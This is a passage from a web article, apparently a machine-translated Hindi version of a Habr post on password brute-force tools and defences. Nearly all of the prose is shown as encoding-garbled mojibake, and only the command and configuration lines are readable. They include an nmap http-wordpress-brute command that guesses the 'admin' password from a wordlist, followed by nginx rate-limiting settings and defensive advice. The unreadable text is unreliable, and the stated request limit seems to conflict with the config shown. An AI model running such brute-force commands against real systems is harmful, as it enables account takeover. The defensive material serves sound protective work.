рдкрд╛рд╕ рдпрд╛ рдкрд╛рд╕рдмрд░реНрдб - рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рд╢рдмреНрджрдХреЛрд╢ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВ
рдзрд╛рдЧрд╛ - рдзрд╛рдЧреЗ рдХреА рд╕рдВрдЦреНрдпрд╛
firstonly = true - рдкрд╣рд▓реЗ рд╕рд╣реА рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдмрд╛рдж рдкрд░рд┐рдгрд╛рдо рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░реЗрдВ

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

рдЫрд╡рд┐

рд╡рд┐рдкрдХреНрд╖


IPtables (SSH рдХреЗ рд╕рдорд╛рди) рдФрд░ nginx рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░ рд╕реАрдорд╛-рдмрд▓ (рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдЕрдЯреИрдХ) рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕реАрдорд╛ рдХреНрд╖реЗрддреНрд░ рдмрдирд╛рдПрдВ:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

рдРрд╕реА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдПрдХ рдЖрдИрдкреА рдкрддреЗ рд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ 40 рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб рддрдХ рд╕реАрдорд┐рдд рдХрд░ рджреЗрдВрдЧреАред

рдЖрдк рдирд┐рдореНрди рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧрдгрдирд╛ рдХреЗ рдХрд╛рд░реНрдп рдХреЛ рдЬрдЯрд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕реЗрд╡рд╛ рдХреЛ рдХреЙрд▓ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдФрд░ рдЕрдиреНрдп рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рдЙрдкрдпреЛрдЧред рдЖрдк рдПрдХ рд▓реЗрдЦ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЛрдВ (рд╡рд┐рддрд░рд┐рдд рд▓реЛрдЧреЛрдВ рд╕рд╣рд┐рдд) рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╢реАрди рд╕реАрдЦрдиреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред
- рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬреЛ рдХреБрдВрдЬреА рдХреА рд╢реБрджреНрдзрддрд╛ рдХреЗ рддреНрд╡рд░рд┐рдд рд╕рддреНрдпрд╛рдкрди рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреИрдкреНрдЪрд╛)ред

рдирд┐рд╖реНрдХрд░реНрд╖


рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдордиреЗ рдХреБрдЫ рд▓реЛрдХрдкреНрд░рд┐рдп рдЙрдкрдХрд░рдгреЛрдВ рдХреА рд╕рддрд╣реА рд░реВрдк рд╕реЗ рдЬрд╛рдВрдЪ рдХреА рд╣реИред рдЖрдк рдЗрди рджрд┐рд╢рд╛рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдЕрдиреБрдорд╛рди рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
- рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рддрд┐рд░реЛрдзреА рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ;
- рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рди рдмрдирд╛рдПрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: рдЬрдиреНрдо рддрд┐рдерд┐ рдпрд╛ рдирд╛рдо + рдЬрдиреНрдо рддрд┐рдерд┐ рдпрд╛ рдореЛрдмрд╛рдЗрд▓ рдлреЛрди;
- рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓реЗрдВ;
- рд╕рднреА рдЦрд╛рддреЛрдВ рдкрд░ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдХреБрдЫ рд▓реЛрдЧ рдРрд╕реА рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ (рд╕рд╛рде рд╣реА рд╕реБрд░рдХреНрд╖рд┐рдд рд╡реЗрдм рд╡рд┐рдХрд╛рд╕ рдХреЗ рд▓рд┐рдП рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ) рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рд╡рд┐рднрд┐рдиреНрди рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ:
- рдЖрдИрдкреА рдкрддреЗ рджреНрд╡рд╛рд░рд╛ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ, рдпрд╛, рдпрджрд┐ рдпрд╣ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреА рдПрдХ рд╕рд╛рде рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВ (iptables, nginx рдФрд░ рдЕрдиреНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ);
- рджреЛ-рдХрд╛рд░рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ;
- рдРрд╕реЗ рд╣рдорд▓реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ рдФрд░ рдХреЛрд▓рдореНрдмрд┐рдпрд╛, рдбрдмреНрд▓реНрдпреВрдПрдПрдл рдпрд╛ рдЕрдиреНрдп рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд▓реЙрдХ рдХрд░реЗрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, fail2ban)ред

Source: https://habr.com/ru/post/hi434216/


All Articles